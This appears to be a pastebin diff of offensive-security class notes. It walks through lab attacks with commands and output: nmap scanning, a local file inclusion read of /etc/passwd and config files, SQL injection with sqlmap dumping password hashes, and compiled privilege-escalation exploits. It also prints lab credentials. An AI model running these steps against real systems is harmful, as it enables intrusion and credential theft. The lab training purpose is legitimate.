SHOW:
|
|
- or go back to the newest paste.
1 | ######################################################## | |
2 | # CyberWar: Advanced Offensive Cyber Operations # | |
3 | # By Joe McCray of Strategic Security # | |
4 | ######################################################## | |
5 | ||
6 | ||
7 | ||
8 | ######################### | |
9 | # Class Virtual Machine # | |
10 | ######################### | |
11 | ||
12 | ||
13 | - | Here is the VMWare virtual machine for the class: |
13 | + | Here is the VMWare virtual machine for the class or you can use Kali Linux as well if you like: |
14 | ||
15 | - | https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip |
15 | + | https://s3.amazonaws.com/infosecaddictsvirtualmachines/Ubuntu-17-10-InfoSecAddictsVM.zip |
16 | user: infosecaddicts | |
17 | pass: infosecaddicts | |
18 | ||
19 | ||
20 | Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack. | |
21 | - | If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover. |
21 | + | |
22 | ||
23 | To connect to the VPN open a web browser on your host machine (not your virtual machine) and go to the following URL: | |
24 | https://54.245.178.32/?src=connect | |
25 | ||
26 | - | So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN: |
26 | + | |
27 | - | https://s3.amazonaws.com/infosecaddictsfiles/Strategic-Security-2017-VPN-Info.pdf |
27 | + | Accept the security exception and enter one of the following user names: |
28 | - | vpn username: {first_initial.last_name} example: j.mccray |
28 | + | |
29 | - | vpn password: !@#$vpn4321VPN |
29 | + | username: labuser001 |
30 | username: labuser002 | |
31 | username: labuser003 | |
32 | username: labuser004 | |
33 | - | If you wants some scanning tips you should take a look at the following document: |
33 | + | username: labuser005 |
34 | - | https://s3.amazonaws.com/infosecaddictsfiles/LabNetworkScanningV4.pdf |
34 | + | username: labuser006 |
35 | username: labuser007 | |
36 | username: labuser008 | |
37 | username: labuser009 | |
38 | username: labuser010 | |
39 | username: labuser011 | |
40 | - | ######################### |
40 | + | username: labuser012 |
41 | username: labuser013 | |
42 | username: labuser014 | |
43 | username: labuser015 | |
44 | username: labuser016 | |
45 | username: labuser017 | |
46 | username: labuser018 | |
47 | username: labuser019 | |
48 | username: labuser020 | |
49 | ||
50 | ---------------------------------------------------------------------------------------------------------------------------------------- | |
51 | ||
52 | Mr. McCray will provide you with the password for the usernames above once the training session starts. | |
53 | ||
54 | ||
55 | ||
56 | ||
57 | The target network range is: | |
58 | 172.31.2.0/24 | |
59 | - | ####################### |
59 | + | |
60 | - | # Scanning Techniques # |
60 | + | |
61 | - | ####################### |
61 | + | You can do any attack EXCEPT man-in-the-middle attacks, and please DO NOT attack any other IP ranges. |
62 | - | sudo nmap -sL 172.31.2.0/24 |
62 | + | |
63 | ||
64 | ||
65 | ||
66 | ||
67 | - | wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c |
67 | + | |
68 | ||
69 | - | gcc ipcrawl.c -o ipcrawl |
69 | + | |
70 | ||
71 | - | chmod 777 ipcrawl |
71 | + | |
72 | ---------------------------------------------------------------------------------------------------------------------------------------- | |
73 | - | ./ipcrawl 172.31.2.1 172.31.2.254 |
73 | + | Some tools to install: |
74 | ---------------------------Type This----------------------------------- | |
75 | wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c | |
76 | gcc propecia.c -o propecia | |
77 | sudo cp propecia /bin | |
78 | ----------------------------------------------------------------------- | |
79 | ||
80 | ||
81 | ||
82 | ||
83 | ||
84 | - | propecia 172.31.6 22 |
84 | + | Step 1: Portscan the server |
85 | ---------------------------Type This----------------------------------- | |
86 | - | propecia 172.31.6 80 |
86 | + | sudo nmap -sS 172.31.2.139 |
87 | ----------------------------------------------------------------------- | |
88 | - | propecia 172.31.6 443 |
88 | + | |
89 | Step 2: Version scan the server | |
90 | - | propecia 172.31.6 3389 |
90 | + | ---------------------------Type This----------------------------------- |
91 | sudo nmap -sV -p22,80 172.31.2.139 | |
92 | - | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | grep open |
92 | + | ----------------------------------------------------------------------- |
93 | ||
94 | - | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2 " " $3}' |
94 | + | |
95 | ||
96 | - | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2}' | wc -l |
96 | + | Step 3: Vulnerability scan the webserver |
97 | ---------------------------Type This----------------------------------- | |
98 | - | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2}' |
98 | + | |
99 | ||
100 | - | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 172.31.2.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt |
100 | + | |
101 | ||
102 | - | cat ~/labnet-ip-list.txt |
102 | + | |
103 | ||
104 | - | ################################################# |
104 | + | |
105 | - | # Screenshotting the Web Servers in the Network # |
105 | + | |
106 | - | ################################################# |
106 | + | perl nikto.pl -h 172.31.2.139 |
107 | ----------------------------------------------------------------------- | |
108 | - | mkdir labscreenshots |
108 | + | |
109 | - | cd labscreenshots/ |
109 | + | |
110 | ||
111 | ||
112 | - | wget https://s3.amazonaws.com/infosecaddictsfiles/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz |
112 | + | Step 4: Directory brute-force the webserver |
113 | - | tar xf wkhtmltox-0.12.4_linux-generic-amd64.tar.xz |
113 | + | ---------------------------Type This----------------------------------- |
114 | - | cd wkhtmltox/bin/ |
114 | + | |
115 | - | sudo cp wkhtmltoimage /usr/local/bin/wkhtmltoimage-i386 |
115 | + | |
116 | git clone https://github.com/v0re/dirb.git | |
117 | ||
118 | cd dirb/ | |
119 | - | git clone git://github.com/SpiderLabs/Nmap-Tools.git |
119 | + | |
120 | - | cd Nmap-Tools/NSE/ |
120 | + | ./configure |
121 | ||
122 | - | sudo cp http-screenshot.nse /usr/share/nmap/scripts/ |
122 | + | make |
123 | ||
124 | dirb | |
125 | - | sudo nmap --script-updatedb |
125 | + | |
126 | ./dirb http://172.31.2.139 wordlists/big.txt | |
127 | ----------------------------------------------------------------------- | |
128 | ||
129 | - | cd ~/toolz/labscreenshots/ |
129 | + | |
130 | - | sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 172.31.2.0/24 -iL /home/infosecaddicts/labnet-ip-list.txt |
130 | + | |
131 | ||
132 | ||
133 | ||
134 | ||
135 | ||
136 | - | vi screenshots.sh |
136 | + | |
137 | ||
138 | - | #!/bin/bash |
138 | + | |
139 | - | printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html |
139 | + | |
140 | - | ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html |
140 | + | |
141 | - | printf "</BODY></HTML>" >> labnet-port-80-screenshots.html |
141 | + | ---------------------------------------------------------------------------------------------------------------------------------------------- |
142 | ||
143 | ||
144 | ||
145 | ||
146 | ||
147 | - | sh screenshots.sh |
147 | + | |
148 | Attack steps: | |
149 | ------------- | |
150 | - | python -m SimpleHTTPServer |
150 | + | |
151 | ||
152 | Step 1: Ping sweep the target network | |
153 | - | --- Now browse to the IP of your Linux machine on port 8000 (http://192.168.200.157:8000/labnet-port-80-screenshots.html): |
153 | + | ------------------------------------- |
154 | - | http://Ubuntu-VM-IP:8000/labnet-port-80-screenshots.html |
154 | + | |
155 | ||
156 | ---------------------------Type This----------------------------------- | |
157 | nmap -sP 172.31.2.0/24 | |
158 | ----------------------------------------------------------------------- | |
159 | - | ########################## |
159 | + | |
160 | - | # Nmap NSE tricks to try # |
160 | + | Found 4 hosts: |
161 | - | ########################## |
161 | + | 172.31.2.47 |
162 | - | sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 172.31.2.0/24 |
162 | + | 172.31.2.47 |
163 | 172.31.2.157 | |
164 | 172.31.2.217 | |
165 | - | sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 172.31.2.0/24 |
165 | + | |
166 | ||
167 | Step 2: Port scan target system | |
168 | - | sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 172.31.2.0/24 |
168 | + | |
169 | ||
170 | ||
171 | - | sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 172.31.2.0/24 |
171 | + | ---------------------------Type This----------------------------------- |
172 | sudo nmap -sV 172.31.2.47 | |
173 | ----------------------------------------------------------------------- | |
174 | - | sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 172.31.2.0/24 |
174 | + | |
175 | ||
176 | ||
177 | - | sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 172.31.2.0/24 |
177 | + | PORT STATE SERVICE VERSION |
178 | 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0) | |
179 | 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) | |
180 | - | sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 172.31.2.0/24 |
180 | + | 514/tcp filtered shell |
181 | Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel | |
182 | ||
183 | - | sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 172.31.2.0/24 |
183 | + | |
184 | ||
185 | Step 3: Vulnerability Scan the webserver | |
186 | - | sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 172.31.2.0/24 |
186 | + | ---------------------------------------- |
187 | ||
188 | ||
189 | - | sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 172.31.2.0/24 |
189 | + | ---------------------------Type This----------------------------------- |
190 | cd ~/toolz/ | |
191 | ||
192 | - | sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 172.31.2.0/24 |
192 | + | |
193 | ||
194 | git clone https://github.com/sullo/nikto.git Nikto2 | |
195 | - | sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 172.31.2.0/24 |
195 | + | |
196 | cd Nikto2/program | |
197 | ||
198 | perl nikto.pl -h 172.31.2.47 | |
199 | - | sudo nmap -sV -oA nse --script-args=unsafe=1 --script-args=unsafe --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" 172.31.2.0/24 |
199 | + | ----------------------------------------------------------------------- |
200 | ||
201 | ||
202 | Step 4: Run dirbuster or similar directory bruteforce tool against the target | |
203 | ----------------------------------------------------------------------------- | |
204 | ||
205 | ||
206 | ---------------------------Type This----------------------------------- | |
207 | wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl | |
208 | ||
209 | perl Webr00t.pl -h 172.31.2.47 -v | grep -v "404 Not Found" | |
210 | ----------------------------------------------------------------------- | |
211 | - | Take screenshots of you performing all of the tasks above |
211 | + | |
212 | ||
213 | ||
214 | - | ##################################### |
214 | + | Step 5: Browse the web site to look for clues |
215 | - | # Writing Your Own Nmap NSE Scripts # |
215 | + | --------------------------------------------- |
216 | - | ##################################### |
216 | + | Since no glaring vulnerabilities were found with the scanner - we start just looking around the website itself |
217 | ||
218 | ||
219 | - | ---------------------------------------------------------------------- |
219 | + | http://172.31.2.47/test |
220 | - | sudo vi /usr/share/nmap/scripts/intro-nse.nse |
220 | + | http://172.31.2.47/test.php (got the following error message) |
221 | 'file' parameter is empty. Please provide file path in 'file' parameter | |
222 | - | -- The Head Section -- |
222 | + | |
223 | - | -- The Rule Section -- |
223 | + | Figured this was a Local File Include (LFI) so I tried: |
224 | - | portrule = function(host, port) |
224 | + | http://172.31.2.47/test.php?file=/etc/passwd |
225 | - | return port.protocol == "tcp" |
225 | + | http://172.31.2.47/test.php?file=/etc/passwd%00 |
226 | - | and port.number == 80 |
226 | + | |
227 | - | and port.state == "open" |
227 | + | None of these worked so I tried it as a POST request with curl (reference: https://pastebin.com/yfBz5H7b) |
228 | - | end |
228 | + | ---------------------------Type This----------------------------------- |
229 | curl -X POST -F 'file=/etc/passwd' http://172.31.2.47/test.php | |
230 | - | -- The Action Section -- |
230 | + | ----------------------------------------------------------------------- |
231 | - | action = function(host, port) |
231 | + | |
232 | - | return "CyberWar!" |
232 | + | |
233 | - | end |
233 | + | |
234 | - | ---------------------------------------------------------------------- |
234 | + | http://172.31.2.47/a |
235 | http://172.31.2.47/b | |
236 | - | - Ok, now that we've made that change let's run the script |
236 | + | http://172.31.2.47/c (a and b gave 404 errors, but "c" is a blank page, and view source is blank as well - this must be a config file" |
237 | - | sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443 |
237 | + | |
238 | So let's try that POST request with curl to pull down the c.php config file. | |
239 | ||
240 | ---------------------------Type This----------------------------------- | |
241 | curl -X POST -F 'file=/var/www/html/c.php' http://172.31.2.47/test.php | |
242 | curl -X POST -F 'file=/var/htdocs/c.php' http://172.31.2.47/test.php | |
243 | curl -X POST -F 'file=/var/www/c.php' http://172.31.2.47/test.php | |
244 | - | ---------------------------------------------------------------------- |
244 | + | ----------------------------------------------------------------------- |
245 | - | sudo vi /usr/share/nmap/scripts/intro-nse.nse |
245 | + | |
246 | <?php | |
247 | - | -- The Head Section -- |
247 | + | #header( 'Z-Powered-By:its chutiyapa xD' ); |
248 | - | local shortport = require "shortport" |
248 | + | header('X-Frame-Options: SAMEORIGIN'); |
249 | header( 'Server:testing only' ); | |
250 | - | -- The Rule Section -- |
250 | + | header( 'X-Powered-By:testing only' ); |
251 | - | portrule = shortport.http |
251 | + | |
252 | ini_set( 'session.cookie_httponly', 1 ); | |
253 | ||
254 | - | -- The Action Section -- |
254 | + | |
255 | - | action = function(host, port) |
255 | + | |
256 | - | return "CyberWar!" |
256 | + | // Check connection |
257 | - | end |
257 | + | if (mysqli_connect_errno()) |
258 | - | ---------------------------------------------------------------------- |
258 | + | { |
259 | echo "connection failed -> " . mysqli_connect_error(); | |
260 | - | - Ok, now that we've made that change let's run the script |
260 | + | } |
261 | - | sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443 |
261 | + | |
262 | ?> | |
263 | ||
264 | ||
265 | ||
266 | ---------------------------Type This----------------------------------- | |
267 | ssh -l billu 172.31.2.47 | |
268 | b0x_billu | |
269 | - | OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last year. |
269 | + | ----------------------------------------------------------------------- |
270 | ||
271 | - | ---------------------------------------------------------------------- |
271 | + | |
272 | - | sudo vi /usr/share/nmap/scripts/intro-nse.nse |
272 | + | |
273 | http://172.31.2.47/phpmyadmin | |
274 | - | -- The Head Section -- |
274 | + | http://172.31.2.47/phpMyAdmin |
275 | - | local shortport = require "shortport" |
275 | + | http://172.31.2.47/pma |
276 | - | local http = require "http" |
276 | + | http://172.31.2.47/phpmy |
277 | ||
278 | - | -- The Rule Section -- |
278 | + | |
279 | - | portrule = shortport.http |
279 | + | Then I Googled config file name for phpmyadmin (config.inc.php) |
280 | ||
281 | - | -- The Action Section -- |
281 | + | ---------------------------Type This----------------------------------- |
282 | - | action = function(host, port) |
282 | + | curl -X POST -F 'file=/var/www/phpmy/config.inc.php' http://172.31.2.47/test.php |
283 | ----------------------------------------------------------------------- | |
284 | - | local uri = "/installing-metasploit-in-ubunt/" |
284 | + | <?php |
285 | - | local response = http.get(host, port, uri) |
285 | + | |
286 | - | return response.status |
286 | + | /* Servers configuration */ |
287 | $i = 0; | |
288 | - | end |
288 | + | |
289 | - | ---------------------------------------------------------------------- |
289 | + | /* Server: localhost [1] */ |
290 | $i++; | |
291 | - | - Ok, now that we've made that change let's run the script |
291 | + | $cfg['Servers'][$i]['verbose'] = 'localhost'; |
292 | - | sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443 |
292 | + | $cfg['Servers'][$i]['host'] = 'localhost'; |
293 | $cfg['Servers'][$i]['port'] = ''; | |
294 | $cfg['Servers'][$i]['socket'] = ''; | |
295 | $cfg['Servers'][$i]['connect_type'] = 'tcp'; | |
296 | $cfg['Servers'][$i]['extension'] = 'mysqli'; | |
297 | - | ---------------------------------------------------------------------- |
297 | + | $cfg['Servers'][$i]['auth_type'] = 'cookie'; |
298 | - | sudo vi /usr/share/nmap/scripts/intro-nse.nse |
298 | + | |
299 | $cfg['Servers'][$i]['password'] = 'roottoor'; | |
300 | - | -- The Head Section -- |
300 | + | $cfg['Servers'][$i]['AllowNoPassword'] = true; |
301 | - | local shortport = require "shortport" |
301 | + | |
302 | - | local http = require "http" |
302 | + | |
303 | ---------------------------Type This----------------------------------- | |
304 | - | -- The Rule Section -- |
304 | + | ssh -l root 172.31.2.47 |
305 | - | portrule = shortport.http |
305 | + | roottoor |
306 | ----------------------------------------------------------------------- | |
307 | - | -- The Action Section -- |
307 | + | |
308 | - | action = function(host, port) |
308 | + | |
309 | ||
310 | - | local uri = "/installing-metasploit-in-ubunt/" |
310 | + | |
311 | - | local response = http.get(host, port, uri) |
311 | + | |
312 | ||
313 | - | if ( response.status == 200 ) then |
313 | + | --------------------------------------------------------------------------------------------------------------------------------------------------------- |
314 | - | return response.body |
314 | + | |
315 | - | end |
315 | + | Attack steps: |
316 | ------------- | |
317 | - | end |
317 | + | |
318 | - | ---------------------------------------------------------------------- |
318 | + | |
319 | ||
320 | - | - Ok, now that we've made that change let's run the script |
320 | + | Step 1: Ping sweep the target network |
321 | - | sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443 |
321 | + | ------------------------------------- |
322 | ||
323 | ||
324 | ---------------------------Type This----------------------------------- | |
325 | nmap -sP 172.31.2.0/24 | |
326 | ----------------------------------------------------------------------- | |
327 | ||
328 | ||
329 | ||
330 | - Found 3 hosts | |
331 | - | ---------------------------------------------------------------------- |
331 | + | 172.31.2.64 |
332 | - | sudo vi /usr/share/nmap/scripts/intro-nse.nse |
332 | + | 172.31.2.217 |
333 | 172.31.2.238 | |
334 | - | -- The Head Section -- |
334 | + | |
335 | - | local shortport = require "shortport" |
335 | + | |
336 | - | local http = require "http" |
336 | + | |
337 | - | local string = require "string" |
337 | + | Step 2: Port scan target system |
338 | ------------------------------- | |
339 | - | -- The Rule Section -- |
339 | + | |
340 | - | portrule = shortport.http |
340 | + | |
341 | ---------------------------Type This----------------------------------- | |
342 | - | -- The Action Section -- |
342 | + | nmap -sV 172.31.2.64 |
343 | - | action = function(host, port) |
343 | + | ----------------------------------------------------------------------- |
344 | ||
345 | - | local uri = "/installing-metasploit-in-ubunt/" |
345 | + | |
346 | - | local response = http.get(host, port, uri) |
346 | + | |
347 | -------------Scan Results-------------------------------------------- | |
348 | - | if ( response.status == 200 ) then |
348 | + | PORT STATE SERVICE VERSION |
349 | - | local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian") |
349 | + | 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0) |
350 | - | return title |
350 | + | 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |
351 | - | end |
351 | + | 514/tcp filtered shell |
352 | 1037/tcp filtered ams | |
353 | - | end |
353 | + | 6667/tcp open irc ngircd |
354 | - | ---------------------------------------------------------------------- |
354 | + | Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel |
355 | -------------------------------------------------------------------- | |
356 | - | - Ok, now that we've made that change let's run the script |
356 | + | |
357 | - | sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443 |
357 | + | |
358 | Step 3: Vulnerability Scan the webserver | |
359 | ---------------------------------------- | |
360 | ||
361 | ||
362 | ---------------------------Type This----------------------------------- | |
363 | cd ~/toolz/ | |
364 | ||
365 | - | ---------------------------------------------------------------------- |
365 | + | |
366 | - | sudo vi /usr/share/nmap/scripts/intro-nse.nse |
366 | + | |
367 | git clone https://github.com/sullo/nikto.git Nikto2 | |
368 | - | -- The Head Section -- |
368 | + | |
369 | - | local shortport = require "shortport" |
369 | + | |
370 | - | local http = require "http" |
370 | + | |
371 | - | local string = require "string" |
371 | + | perl nikto.pl -h 172.31.2.64 |
372 | ----------------------------------------------------------------------- | |
373 | - | -- The Rule Section -- |
373 | + | |
374 | - | portrule = shortport.http |
374 | + | |
375 | Step 4: Run dirbuster or similar directory bruteforce tool against the target | |
376 | - | -- The Action Section -- |
376 | + | ----------------------------------------------------------------------------- |
377 | - | action = function(host, port) |
377 | + | |
378 | ||
379 | - | local uri = "/installing-metasploit-in-ubunt/" |
379 | + | ---------------------------Type This----------------------------------- |
380 | - | local response = http.get(host, port, uri) |
380 | + | wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl |
381 | ||
382 | - | if ( response.status == 200 ) then |
382 | + | perl Webr00t.pl -h 172.31.2.64 -v |
383 | - | local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian") |
383 | + | ----------------------------------------------------------------------- |
384 | ||
385 | - | if (title) then |
385 | + | |
386 | - | return "Vulnerable" |
386 | + | |
387 | - | else |
387 | + | Step 5: Browse the web site to look for clues |
388 | - | return "Not Vulnerable" |
388 | + | --------------------------------------------- |
389 | - | end |
389 | + | Since no glaring vulnerabilities were found with the scanner - we start just looking around the website itself |
390 | - | end |
390 | + | |
391 | - | end |
391 | + | |
392 | ..... really didn't get much from here so we just opened the web page in a browser | |
393 | - | ---------------------------------------------------------------------- |
393 | + | http://172.31.2.64/ |
394 | ||
395 | - | - Ok, now that we've made that change let's run the script |
395 | + | .....browsed to the webpage and saw that it pointed to: |
396 | - | sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443 |
396 | + | http://172.31.2.64/jabc |
397 | ||
398 | ....clicked on documentation link and found hidden text that pointed to here: | |
399 | http://172.31.2.64/jabcd0cs/ | |
400 | ||
401 | - | # Day 2 Homework # |
401 | + | ....saw that the app was OpenDocMan v1.2.7 and found it was vulnerable: |
402 | https://www.exploit-db.com/exploits/32075/ | |
403 | - | Take screenshots of you performing all of the day 2 tasks above |
403 | + | |
404 | Tried the sql injection described in exploit-db: | |
405 | http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,version(),3,4,5,6,7,8,9 | |
406 | ||
407 | http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,user(),3,4,5,6,7,8,9 | |
408 | ||
409 | ||
410 | ||
411 | Tried to run sqlmap against the target | |
412 | ||
413 | ||
414 | ---------------------------Type This----------------------------------- | |
415 | cd sqlmap-dev/ | |
416 | python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -b --dbms=mysql | |
417 | ||
418 | python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --current-user --dbms=mysql | |
419 | ||
420 | python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --current-db --dbms=mysql | |
421 | ||
422 | python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --dbms=mysql | |
423 | ||
424 | python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --users --passwords --dbms=mysql | |
425 | ----------------------------------------------------------------------- | |
426 | ||
427 | ||
428 | ||
429 | FOUND: cracked password 'toor' for user 'drupal7' (sqlmap) | |
430 | FOUND: 9CFBBC772F3F6C106020035386DA5BBBF1249A11 hash is 'toor' verified at crackstation.net | |
431 | ||
432 | ||
433 | ||
434 | ---------------------------Type This----------------------------------- | |
435 | python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs --tables --dbms=mysql | |
436 | ||
437 | python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs -T odm_user --dump --dbms=mysql | |
438 | ----------------------------------------------------------------------- | |
439 | ||
440 | username: webmin | |
441 | hash: b78aae356709f8c31118ea613980954b | |
442 | ||
443 | https://hashkiller.co.uk/md5-decrypter.aspx | |
444 | ||
445 | - | use auxiliary/scanner/http/http_version |
445 | + | hash: b78aae356709f8c31118ea613980954b |
446 | pass: webmin1980 | |
447 | ||
448 | ||
449 | ok - /phpmyadmin and /webmin both did not work in the browser but these credentials worked for SSH. | |
450 | ||
451 | ||
452 | ||
453 | ---------------------------Type This----------------------------------- | |
454 | ssh -l webmin 172.31.2.64 | |
455 | webmin1980 | |
456 | - | use auxiliary/scanner/http/tomcat_enum |
456 | + | |
457 | id | |
458 | ||
459 | cat /etc/*release | |
460 | ----------------------------------------------------------------------- | |
461 | ||
462 | ||
463 | ||
464 | ....tired of not having a real command shell... | |
465 | ||
466 | ||
467 | ---------------------------Type This----------------------------------- | |
468 | python -c 'import pty;pty.spawn("/bin/bash")' | |
469 | ||
470 | ||
471 | cd /tmp | |
472 | ||
473 | pwd | |
474 | ||
475 | - | use auxiliary/scanner/http/http_version |
475 | + | |
476 | cat >> exploit.c << out | |
477 | ||
478 | **************paste in the content from here ***************** | |
479 | https://www.exploit-db.com/raw/39166/ | |
480 | ||
481 | ||
482 | ------ hit enter a few times ------ | |
483 | ||
484 | ------ then type 'out' ----- this closes the file handle... | |
485 | ||
486 | ||
487 | - | use auxiliary/scanner/http/tomcat_mgr_login |
487 | + | |
488 | ---------------------------Type This----------------------------------- | |
489 | gcc -o boom exploit.c | |
490 | ||
491 | ./boom | |
492 | ----------------------------------------------------------------------- | |
493 | ||
494 | ||
495 | ------------exploit failed, damn let's try another one --------- | |
496 | ||
497 | ||
498 | ||
499 | ---------------------------Type This----------------------------------- | |
500 | cat >> exploit2.c << out | |
501 | ||
502 | **************paste in the content from here ***************** | |
503 | https://www.exploit-db.com/raw/37292/ | |
504 | ||
505 | ||
506 | out | |
507 | ||
508 | ||
509 | gcc -o boom2 exploit2.c | |
510 | ||
511 | ./boom2 | |
512 | ||
513 | id | |
514 | ||
515 | ||
516 | ......YEAH - do the happy dance!!!! | |
517 | ||
518 | - | exploit |
518 | + | |
519 | ||
520 | ||
521 | ---- Previous class attack process ------- | |
522 | ||
523 | ||
524 | ######################### | |
525 | # Building a quick list # | |
526 | ######################### | |
527 | ||
528 | ---------------------------Type This----------------------------------- | |
529 | ||
530 | cd ~ | |
531 | echo bob >> list.txt | |
532 | echo jim >> list.txt | |
533 | echo joe >> list.txt | |
534 | echo tim >> list.txt | |
535 | echo admin >> list.txt | |
536 | echo hello >> list.txt | |
537 | echo rob >> list.txt | |
538 | echo test >> list.txt | |
539 | echo aaaaaa >> list.txt | |
540 | echo larry >> list.txt | |
541 | echo mario >> list.txt | |
542 | echo jason >> list.txt | |
543 | echo john >> list.txt | |
544 | ----------------------------------------------------------------------- | |
545 | ||
546 | ||
547 | ########################################################### | |
548 | # Let's start with some basic scanning of the lab network # | |
549 | ########################################################### | |
550 | ||
551 | ---------------------------Type This----------------------------------- | |
552 | ||
553 | infosecaddicts@ubuntu:~$ nmap -sP 172.31.2.0/24 | |
554 | ----------------------------------------------------------------------- | |
555 | ||
556 | Starting Nmap 7.12 ( https://nmap.org ) at 2017-11-21 13:17 EST | |
557 | Nmap scan report for 172.31.2.24 | |
558 | Host is up (0.046s latency). | |
559 | Nmap scan report for 172.31.2.47 | |
560 | Host is up (0.045s latency). | |
561 | Nmap scan report for 172.31.2.64 | |
562 | Host is up (0.037s latency). | |
563 | Nmap scan report for 172.31.2.86 | |
564 | Host is up (0.040s latency). | |
565 | Nmap scan report for 172.31.2.117 | |
566 | Host is up (0.038s latency). | |
567 | Nmap scan report for 172.31.2.139 | |
568 | Host is up (0.037s latency). | |
569 | Nmap scan report for 172.31.2.157 | |
570 | Host is up (0.036s latency). | |
571 | Nmap scan report for 172.31.2.217 | |
572 | Host is up (0.047s latency). | |
573 | Nmap scan report for 172.31.2.238 | |
574 | Host is up (0.036s latency). | |
575 | Nmap done: 256 IP addresses (9 hosts up) scanned in 3.22 seconds | |
576 | ||
577 | ||
578 | ||
579 | ||
580 | ||
581 | ||
582 | ---------------------------Type This----------------------------------- | |
583 | ||
584 | infosecaddicts@ubuntu:~$ sudo nmap -sS 172.31.2.24 | |
585 | ----------------------------------------------------------------------- | |
586 | ||
587 | [sudo] password for infosecaddicts: | |
588 | ||
589 | Starting Nmap 7.12 ( https://nmap.org ) at 2017-11-21 13:18 EST | |
590 | Nmap scan report for 172.31.2.24 | |
591 | Host is up (1.8s latency). | |
592 | Not shown: 989 closed ports | |
593 | PORT STATE SERVICE | |
594 | 25/tcp open smtp | |
595 | 80/tcp open http | |
596 | 111/tcp open rpcbind | |
597 | 139/tcp open netbios-ssn | |
598 | 445/tcp open microsoft-ds | |
599 | 514/tcp filtered shell | |
600 | 1322/tcp open novation | |
601 | 2049/tcp open nfs | |
